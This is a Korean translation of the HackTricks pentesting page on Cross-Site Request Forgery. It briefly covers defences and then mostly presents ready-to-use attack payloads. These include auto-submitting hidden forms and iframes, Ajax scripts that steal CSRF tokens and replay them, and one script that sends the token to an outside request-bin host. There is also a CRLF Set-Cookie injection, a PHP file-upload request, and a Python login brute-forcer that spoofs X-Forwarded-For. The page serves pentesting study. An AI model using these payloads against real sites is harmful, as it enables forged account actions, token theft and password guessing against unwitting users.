CSRF (Cross Site Request Forgery)

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

경험 많은 해커 및 버그 바운티 헌터와 소통하려면 HackenProof Discord 서버에 가입하세요!

해킹 통찰력 해킹의 스릴과 도전에 대해 탐구하는 콘텐츠와 상호 작용

실시간 해킹 뉴스 빠르게 변화하는 해킹 세계의 최신 뉴스와 통찰력을 유지하세요

최신 공지 출시되는 최신 버그 바운티 및 중요한 플랫폼 업데이트에 대해 정보를 받아보세요

우리와 함께 Discord에 가입하여 최고의 해커들과 협업을 시작하세요!

Cross-Site Request Forgery (CSRF) 설명

**Cross-Site Request Forgery (CSRF)**는 웹 애플리케이션에서 발견되는 보안 취약점 유형입니다. 이를 통해 공격자는 인증된 세션을 악용하여 의심치 않는 사용자를 대신하여 작업을 수행할 수 있습니다. 공격은 피해자의 플랫폼에 로그인한 사용자가 악의적인 사이트를 방문할 때 실행됩니다. 이 사이트는 자바스크립트 실행, 양식 제출 또는 이미지 가져오기와 같은 방법을 통해 피해자의 계정으로 요청을 트리거합니다.

CSRF 공격 전제 조건

CSRF 취약점을 악용하려면 다음 조건을 충족해야 합니다:

  1. 가치 있는 작업 식별: 공격자는 사용자의 비밀번호 변경, 이메일 변경 또는 권한 상승과 같이 악용할 가치 있는 작업을 찾아야 합니다.

  2. 세션 관리: 사용자의 세션은 쿠키 또는 HTTP 기본 인증 헤더를 통해 관리되어야 하며 다른 헤더는 이 목적으로 조작할 수 없습니다.

  3. 예측할 수 없는 매개변수 부재: 요청에 예측할 수 없는 매개변수가 포함되어서는 안 되며, 이는 공격을 방지할 수 있습니다.

빠른 확인

Burp에서 요청을 캡처하고 CSRF 보호를 확인하고 브라우저에서 테스트하려면 Copy as fetch를 클릭하여 요청을 확인할 수 있습니다:

CSRF에 대한 방어

CSRF 공격을 방지하기 위해 여러 대책을 시행할 수 있습니다:

  • SameSite 쿠키: 이 속성은 브라우저가 교차 사이트 요청과 함께 쿠키를 보내지 않도록 합니다. SameSite 쿠키에 대해 자세히 알아보기.

  • Cross-origin resource sharing: 피해자 사이트의 CORS 정책은 특히 공격이 피해자 사이트의 응답을 읽는 것을 요구하는 경우에 공격의 실행 가능성에 영향을 줄 수 있습니다. CORS 우회에 대해 알아보기.

  • 사용자 확인: 사용자의 의도를 확인하기 위해 사용자의 비밀번호를 요청하거나 캡차를 해결할 수 있습니다.

  • Referrer 또는 Origin 헤더 확인: 이러한 헤더를 유효성 검사함으로써 요청이 신뢰할 수 있는 소스에서 오는지 확인할 수 있습니다. 그러나 URL의 신중한 조작으로 잘못 구현된 확인을 우회할 수 있습니다.

  • http://mal.net?orig=http://example.com (URL이 신뢰할 수 있는 URL로 끝남)

  • http://example.com.mal.net (URL이 신뢰할 수 있는 URL로 시작함)

  • 매개변수 이름 수정: POST 또는 GET 요청의 매개변수 이름을 변경함으로써 자동화된 공격을 방지할 수 있습니다.

  • CSRF 토큰: 각 세션에 고유한 CSRF 토큰을 포함하고 후속 요청에서 이 토큰을 요구함으로써 CSRF의 위험을 크게 줄일 수 있습니다. 토큰의 효과는 CORS를 강제로 적용함으로써 향상시킬 수 있습니다.

이러한 방어 수단을 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 중요합니다.

방어 우회

POST에서 GET으로

악용하려는 양식이 CSRF 토큰을 사용하여 POST 요청을 보내도록 준비되어 있을 수 있지만, GET유효한지 확인하고 GET 요청을 보낼 때 CSRF 토큰이 여전히 유효한지 확인해야 합니다.

토큰 부재

응용 프로그램은 토큰을 확인하는 메커니즘을 구현할 수 있습니다. 그러나 토큰이 없을 때 확인이 완전히 생략되면 취약점이 발생합니다. 공격자는 토큰을 운반하는 매개변수를 제거함으로써 확인 프로세스를 우회하고 효과적으로 CSRF 공격을 수행할 수 있습니다.

CSRF 토큰이 사용자 세션에 바인딩되지 않음

CSRF 토큰을 사용자 세션에 바인딩하지 않는 응용 프로그램은 중요한 보안 위험을 야기할 수 있습니다. 이러한 시스템은 각 토큰이 시작 세션에 바인딩되어 있는지 확인하는 대신 전역 풀에 대해 토큰을 확인합니다.

공격자가 다음과 같이 이를 악용할 수 있습니다:

  1. 자신의 계정으로 인증합니다.

  2. 전역 풀에서 유효한 CSRF 토큰을 획득합니다.

  3. 이 토큰을 사용하여 피해자에 대한 CSRF 공격을 수행합니다.

이 취약점을 통해 공격자는 응용 프로그램의 부적절한 토큰 유효성 검사 메커니즘을 악용하여 피해자를 대신하여 무단 요청을 수행할 수 있습니다.

메서드 우회

요청이 "이상한" 메서드를 사용하는 경우, 메서드 오버라이드 기능이 작동하는지 확인하세요. 예를 들어, PUT 메서드를 사용하는 경우 POST 메서드를 시도하고 다음을 보내세요: https://example.com/my/dear/api/val/num?_method=PUT

이는 POST 요청 내부에 _method 매개변수를 보내거나 헤더를 사용하여 작동할 수도 있습니다:

  • X-HTTP-Method

  • X-HTTP-Method-Override

  • X-Method-Override

사용자 지정 헤더 토큰 우회

요청이 CSRF 보호 방법으로 사용자 정의 헤더와 함께 토큰을 추가하는 경우:

  • 사용자 정의 토큰 및 헤더 없이 요청을 테스트하세요.

  • 정확히 동일한 길이지만 다른 토큰으로 요청을 테스트하세요.

CSRF 토큰이 쿠키로 확인됨

응용 프로그램은 요청 매개변수와 함께 토큰을 쿠키에 복제하거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 확인하여 CSRF 보호를 구현할 수 있습니다. 응용 프로그램은 요청의 토큰이 쿠키의 값과 일치하는지 확인함으로써 요청을 유효성 검사합니다.

그러나 이 방법은 웹 사이트에 CRLF 취약점과 같은 결함이 있으면 CSRF 공격에 취약합니다. 공격자는 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함을 통해 이를 악용할 수 있습니다. 이후 CSRF 공격을 시작하기 위해 속임수 이미지를 로드하여 쿠키를 설정한 후 CSRF 공격을 시작할 수 있습니다.

다음은 공격이 구성될 수 있는 예시입니다:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>

csrf 토큰이 세션 쿠키와 관련되어 있으면 이 공격은 작동하지 않을 수 있습니다. 왜냐하면 피해자에게 세션을 설정해야 하며, 따라서 자신을 공격하게 됩니다.

Content-Type 변경

여기에 따르면 POST 방법을 사용하여 사전 통지(preflight) 요청을 피하기 위해 허용된 Content-Type 값은 다음과 같습니다:

  • application/x-www-form-urlencoded

  • multipart/form-data

  • text/plain

그러나 Content-Type에 따라 서버의 로직이 다를 수 있으므로 언급된 값 및 application/json, text/xml, application/xml 등의 다른 값을 시도해야 합니다.

예시 (from 여기)에서 JSON 데이터를 text/plain으로 보내는 방법:

<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>

JSON 데이터를 위한 사전 요청 우회

JSON 데이터를 POST 요청을 통해 보내려고 할 때, HTML 폼에서 Content-Type: application/json을 사용하는 것은 직접적으로 불가능합니다. 마찬가지로, 이 콘텐츠 유형을 전송하기 위해 XMLHttpRequest를 사용하면 사전 요청이 시작됩니다. 그러나 Content-Type과 관계없이 서버가 JSON 데이터를 처리하는지 확인하기 위한 가능한 우회 전략이 있습니다:

  1. 대체 콘텐츠 유형 사용: 폼에서 enctype="text/plain"을 설정하여 Content-Type: text/plain 또는 Content-Type: application/x-www-form-urlencoded을 사용합니다. 이 접근 방식은 백엔드가 Content-Type과 관계없이 데이터를 사용하는지 테스트합니다.

  2. 콘텐츠 유형 수정: 사전 요청을 피하면서 서버가 콘텐츠를 JSON으로 인식하도록 하려면 Content-Type: text/plain; application/json으로 데이터를 보낼 수 있습니다. 이는 사전 요청을 트리거하지 않지만 서버가 application/json을 수락하도록 구성되어 있다면 올바르게 처리될 수 있습니다.

  3. SWF 플래시 파일 활용: 덜 일반적이지만 실행 가능한 방법으로는 이러한 제한을 우회하기 위해 SWF 플래시 파일을 사용하는 것이 있습니다. 이 기술에 대한 심층적인 이해를 위해서는 이 게시물을 참조하십시오.

Referrer / Origin 확인 우회

Referrer 헤더 회피

응용 프로그램은 'Referer' 헤더를 확인할 수 있습니다. 브라우저가 이 헤더를 보내지 않도록 하려면 다음 HTML 메타 태그를 사용할 수 있습니다:

<meta name="referrer" content="never">

이는 'Referer' 헤더가 제외되어 일부 응용 프로그램의 유효성 검사를 우회할 수 있도록합니다.

정규 표현식 우회

pageURL Format Bypass

Referrer가 보낼 서버의 도메인 이름을 URL에 설정하려면 다음을 수행할 수 있습니다:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>

이 CTF 해설의 첫 부분은 Oak의 소스 코드에서, 라우터가 응답 본문이 없는 GET 요청으로 HEAD 요청을 처리하도록 설정되어 있다는 것을 설명합니다. 이는 Oak에만 해당되는 것이 아닌 일반적인 해결책입니다. HEAD 요청을 처리하는 특정 핸들러 대신, HEAD 요청은 단순히 GET 핸들러에 전달되지만 애플리케이션에서 응답 본문을 제거합니다.

따라서, GET 요청이 제한되어 있다면, GET 요청으로 처리될 HEAD 요청을 보낼 수 있습니다.

악용 예시

CSRF 토큰 유출

만약 CSRF 토큰방어 수단으로 사용되고 있다면, XSS 취약점이나 Dangling Markup 취약점을 악용하여 유출을 시도할 수 있습니다.

HTML 태그를 사용한 GET

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

다른 HTML5 태그 중 GET 요청을 자동으로 보낼 수 있는 태그는 다음과 같습니다:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">

Form GET 요청

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

폼 POST 요청

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>

iframe을 통해 Form POST 요청하기

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Ajax POST 요청

<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>

multipart/form-data POST 요청

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});

multipart/form-data POST 요청 v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

아이프레임 내에서 폼 POST 요청

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

CSRF 토큰을 도용하고 POST 요청을 보내기

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

CSRF 토큰을 도용하고 iframe, 폼 및 Ajax를 사용하여 POST 요청 보내기

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;

document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

CSRF 토큰을 도용하고 iframe과 form을 사용하여 POST 요청을 보내기

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>

토큰을 도용하고 2개의 iframe을 사용하여 전송

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

Ajax를 사용하여 CSRF 토큰을 도용하고 폼을 통해 POST 요청 보내기

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>

Socket.IO를 이용한 CSRF

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})

});
</script>

CSRF 로그인 브루트 포스

이 코드는 CSRF 토큰을 사용하여 로그인 폼을 브루트 포스할 수 있습니다 (가능한 IP 블랙리스트 우회를 시도하기 위해 X-Forwarded-For 헤더도 사용됨):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

도구

참고 자료

HackenProof Discord 서버에 가입하여 경험丰富한 해커와 버그 바운티 헌터들과 소통하세요!

해킹 통찰력 해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠와 상호 작용

실시간 해킹 뉴스 실시간 뉴스와 통찰력을 통해 빠른 속도로 변화하는 해킹 세계를 따라가세요

최신 공지 최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아두세요

**Discord에 참여하여 최고의 해커들과 협업을 시작하세요!

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

Last updated